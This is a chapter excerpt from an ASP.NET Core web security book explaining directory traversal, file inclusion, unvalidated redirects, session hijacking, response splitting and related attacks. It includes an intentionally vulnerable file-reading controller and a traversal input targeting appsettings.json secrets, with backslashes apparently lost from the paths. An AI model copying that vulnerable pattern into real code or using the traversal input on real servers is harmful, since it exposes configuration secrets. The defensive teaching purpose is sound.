Directory Traversal refers to the ability for a hacker to access files on your server that you don’t intend to expose. To see how this can happen, let’s see an example from the Vulnerability Buffet. First, the front end.
@{
    ViewData["Title"] = "File Inclusion";
}
@model AccountUserViewModel
<partial name="_Menu" />
<div class="attack-page-content">
  <h1>@ViewData["Title"]</h1>
  <p>This page loads files in an unsafe way.</p>
  <form action="/Miscellaneous/FileInclusion" method="post">
    <div>
      <label asp-for="SearchText">
        Select a product below to see more information:
      </label>
      <select asp-for="SearchText">
        <option value="babyfoods.txt">Baby Foods</option>
        <option value="baked.txt">Baked Products</option>
        <option value="beef.txt">Beef Products</option>
        <option value="beverages.txt">Beverages</option>
        <option value="breakfastcereals.txt">
          Breakfast Cereals
        </option>
        <option value="cerealgrains.txt">
          Cereal Grains and Pasta
        </option>
      </select>
      <button type="submit">Search!</button>
    </div>
  </form>
  <div>@ViewBag.FileContents</div>
</div>
Listing 5-26

Front end for a page vulnerable to Directory Traversal attacks

The page in Listing 5-26 allows users to select an item on the drop-down list, which sends a filename back to the server. The controller method takes the content of the file and adds it to @ViewBag.FileContents.

If you’re reviewing code for security vulnerabilities, the fact that the drop-down options all end with “.txt” is a huge warning sign that unsafe file handling is occurring. And in fact, files are unsafely processed, as we can see in Listing 5-27.
[HttpPost]
public IActionResult FileInclusion(AccountUserViewModel model)
{
  var fullFilePath = _hostEnv.ContentRootPath +
                      "\wwwroot\text\" + model.SearchText;
  var fileContents = System.IO.File.ReadAllText(fullFilePath);
  ViewBag.FileContents = fileContents;
  return View(model);
}
Listing 5-27

Controller method for page vulnerable to Directory Traversal attacks

On the surface, you might assume that this code only takes the file name, and looks for a file with that name in a particular folder on the server, reads the content, and then adds the content to the page. But remember that “..” tells the file path to move up a file. So, what happens, then, if an attacker sends “....appsettings.json” instead of one of the drop-down choices? You guessed it, the attacker can see any settings you have in the configuration, including database connection strings and any other secrets you might have in there.

Beyond reading the configuration file, it’s not too hard to imagine an attacker attempting to put even more instructions to move up a folder, then getting into C:windows to read all sorts of files on your server.

Remote and Local File Inclusion

Remote File Inclusion (RFI) and Local File Inclusion (LFI) are both similar to Directory Traversal in that the attacker is able to find a file on your server. Both RFI and LFI take it a step further and occur when a hacker is able to execute files of their choosing on your server. The main difference is that LFI involves files that are already on your server, where RFI involves files that have been uploaded to your server.

If you look for examples of either of these online, you will likely find many more examples of this vulnerability in PHP than in .NET. There are a number of reasons for this, including the fact that PHP is a more popular language than .NET, but it is also because this attack is easier to pull off in PHP than .NET. You should be aware of it, though, because you might well be calling external apps using a batch script or PowerShell, either of which might be hijacked to execute code if written badly.

OS Command Injection

Another attack is operating system command injection, which as you might guess is a vulnerability in which an attacker can execute operating system commands against your server. Like RFI, this is easier to pull off in less secure languages than in .NET, but be extremely careful in starting any process from your website, especially if using a batch or PowerShell script.

File Uploads and File Management

While giving users the ability to upload files isn’t itself a vulnerability, it’s almost certainly safe to say that the vast majority of websites that allow users to upload files don’t do so safely. And while LFI isn’t as much of a concern in .NET as it is in other languages, there are still some file-related attacks you should be aware of:
  • Denial of Service : If you allow for large file uploads, it’s possible that an attacker might attempt to upload a very large file that the server can’t handle, bringing down your website.

  • LFI: Being able to upload malicious files to your server leads to a much more serious vulnerability if the attacker is then able to use or execute that file.

  • GIFAR : A GIFAR is a file that is both a valid GIF and a valid JAR (Java Archive), and 10 years ago, attackers were able to use a GIFAR to steal credentials.8 Since then, attackers have been able to combine other file types,9 making it easier for attackers to bypass some defenses.

Fortunately, there are some ways to mitigate some of these attacks, which I’ll show you later in the book.

Caution

There is another problem with file uploads that isn’t an attack per se, but is something to watch out for. Before I got smart and stored files on a different server, I had websites go down because the drive ran out of space because I didn’t pay attention to the number of files being uploaded. Yes, plural “websites” intended. So, do keep your files on a different server than your web server, and do keep track of how much space you have left. It is not fun trying to get onto a server that is out of space when your website is down.

Other Injection Types

Once you’ve seen how injection works, it’s easy to imagine how one could inject code into other languages as well, such as XML, XPath, or LDAP. XML External Entities, or XXE, which I covered in the last chapter, could be considered another type of injection. I won’t get into any more examples here, but I hope you get the idea.

Clickjacking

I touched upon this very briefly in Chapter 4 when talking about headers, but attackers can load your site within an <iframe> in theirs and then hide it with a different user interface. For example, let’s say I wanted to spam your website with links to buy my book. I’d create a website that had a UI on top of yours, and covering your “Comment” button I could put a button that says “Click here to win a free iPad!”. Users clicking the link would think that they’re entering a contest, but instead they’re clicking a button on your website that posts a comment with a link to buy my book.

Unvalidated Redirects

In all versions of ASP.NET, when you try to access a page that requires authentication but are not logged in, the default functionality is to redirect you to the login page. But to help with usability, the app redirects you back to the page you were attempting to view. Here is the overall process:
  1. 1.

    The user attempts to view a page that requires authentication, such as www.bank.com/account.

     
  2. 2.

    The app sees that the user is not logged in, so redirects the user to the login page, appending “?returnUrl=%2Faccount” to the end of the URL.

     
  3. 3.

    The user enters their username and password, which are verified as valid by the server.

     
  4. 4.

    The server redirects the user to “/account” so that person can continue with what they were trying to do.

     
As I mentioned, this is pretty standard. But what if the server didn’t validate that the path was correct before redirecting the user? Here’s an attack scenario that would be trivially easy to pull off:
  1. 1.

    An attacker sends a phishing email out to a user, saying that their bank account has an issue, and they need to click the link in the email to verify their account immediately.

     
  2. 2.

    The user, educated in phishing attacks, looks at the URL to verify that the bank domain is correct (but ignores the query string) and clicks this URL: https://bank.com/login?returnUrl=https://benk.com/login.

     
  3. 3.

    The user logs into their account and then is redirected to https://benk.com/login, which at a quick glance looks exactly like their login page.

     
  4. 4.

    Figuring there was just some weird glitch in the login process, the user logs into the fake “benk.com” website, giving the hacker the user’s username and password for their bank account.

     
  5. 5.

    The hacker’s site then redirects the user back to the correct bank site and, since the user correctly logged in during step 3, can view their account without any problems.

     

This attack was brought to you by unvalidated redirects. You should never blindly accept user input and simply redirect the user to that page without any checks or protections, or you leave your users open to phishing attacks (or worse).

Session Hijacking

Session hijacking, or stealing someone else’s session token, is common when one of three things are true:
  1. 1.

    Session or user tokens are sequential and/or easy to guess.

     
  2. 2.

    Session or user tokens are stored in the query string, making it easy for hackers to hijack a different user’s session via a phishing attack.

     
  3. 3.

    Session or user tokens are reused.

     

ASP.NET doesn’t use tokens that are easy to guess and they store their tokens with secure cookies, so neither of the first two problems apply. User tokens are specific to the user, and session tokens are generated in such a way to make them tough to recreate, so there’s no problem here, right?

Unfortunately, as you’ll recall from the last chapter and see in later chapters, there are some fairly large problems with how ASP.NET handles both session and user tokens. You could probably get away with the default user token handling mechanism for sites that don’t store a significant amount of sensitive information; you will want something more robust if you are storing PII, PAI, or PHI.

Caution

I’ll show you how user token handling is not secure in ASP.NET, and how to fix it, later on. But session handling in ASP.NET Core is even worse. Session tokens are created per browser session, not per user session. What does that mean? If one user logs into your site, generates a session, and then logs out, then a second user logs into the site (or not, logging in is not strictly necessary) and will have access to any and all session data stored for the first user. I’ll show you how to fix this later in the book, but in the meantime, don’t store any sensitive data in session. Ever.

Security Issues Mostly Fixed in ASP.NET

While there are several security issues that have been mostly mitigated in ASP.NET, there are a few that you probably don’t need to worry about much at all. However, you should know these issues exist for the following reasons:
  1. 1.

    You may need to create your own version of some built-in feature for some exotic feature, and you should know about these vulnerabilities to avoid them.

     
  2. 2.

    In Chapter 9, I’ll show you how ASP.NET ignores most of these attacks. On the one hand, if these attacks are ignored, then they won’t succeed. But on the other hand, shouldn’t you want to know if someone is trying to break into your site?

     

Verb Tampering

Up until now, when talking about requests, I’ve been referring to one of two types: a GET or a POST. As I mentioned briefly earlier, there are several other types available to you. Older web servers would have challenges handling requests with unexpected verbs. As one common example, a server might enforce authentication when running a GET request, but might bypass authentication when running the same request via a HEAD.10 I am unaware of any exploitable vulnerabilities ASP.NET related to verb tampering, though.

Response Splitting

If a hacker is able to put a newline/carriage return in your header, then your site is vulnerable to response splitting . Here’s how it works:
  1. 1.

    An attacker submits a value that they know will be put into your header (usually a cookie) that includes the carriage return/line feed characters, sets the Content-Length, and whatever content they desire.

     
  2. 2.

    You add these values to the cookie, which adds them to the header.

     
  3. 3.

    The user sees the hacker’s content, not yours.

     
Here’s what that response would look like, with the attacker’s text in bold.
HTTP/1.1 200 OK
<<redacted>>
Set-Cookie: somevalue=blue
Content-Length: 500
<html>
<<attacker's content here which the user sees>>
</html>
(500 characters later)
<<your original content, ignored by the browser>>
Listing 5-28

Hypothetical response splitting attack response

I tried to introduce the vulnerability seen in Listing 5-28 into ASP.NET Core for the Vulnerability Buffet, but found that I had to have my own modified copy of Kestrel to do so. This shouldn’t be something you should need to worry about, unless you modify Kestrel. (And please don’t do that.)

Parameter Pollution

Parameter pollution refers to a vulnerability in which an application behaves in unexpected ways if unexpected parameters, such as duplicated query string keys, are encountered by the web server. Imagine a scenario in which deleting a user could be done in a URL like this one: https://your-site.com/users/delete?userId=44. If your site is vulnerable to parameter pollution, if an attacker is able to append to this URL, they could do something like this: https://your-site.com/users/delete?userId=44&userId=1, and get you to delete the user with an ID of “1”.

By default, when ASP.NET encounters this situation, it keeps the first value, which is the safer route to go. A better solution would be to fail closed reject the request entirely as possibly dangerous, but for now we’ll need to settle for the adequate solution of accepting the first value only.

Business Logic Abuse

The last topic I’ll cover in this chapter is business logic abuse. Business logic abuse is a tough topic to cover in a book, because it not only encompasses a wide range of issues, but most of these issues are specific to a specific web application. We’ve talked about some of these issues before, such as making sure you don’t store private information in hidden fields or not expecting users to change query strings to try to get access to objects that aren’t in their list. There are also others, such as not enforcing a user agreement before letting users access your site or allowing users to get around page view limits that are tracked in cookies by periodically deleting cookies.

Beyond saying “don’t trust user input,” the best thing you can do here is hire someone to try to hack into your website to try to find these issues. I’ll give you some rough guidelines on what to look for in an external penetration tester later on because there are a lot of less-skilled or unethical penetration testers out there.

Summary

In this chapter, I took a deep dive into attacks that can be done against your website, with the idea that the better you understand how attacks work the better you will be able to design defenses against them.

You now should have a solid knowledge of website security. While there’s always more to learn, you’re now ready to start learning about implementing defenses for these attacks in your website.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.128.79.88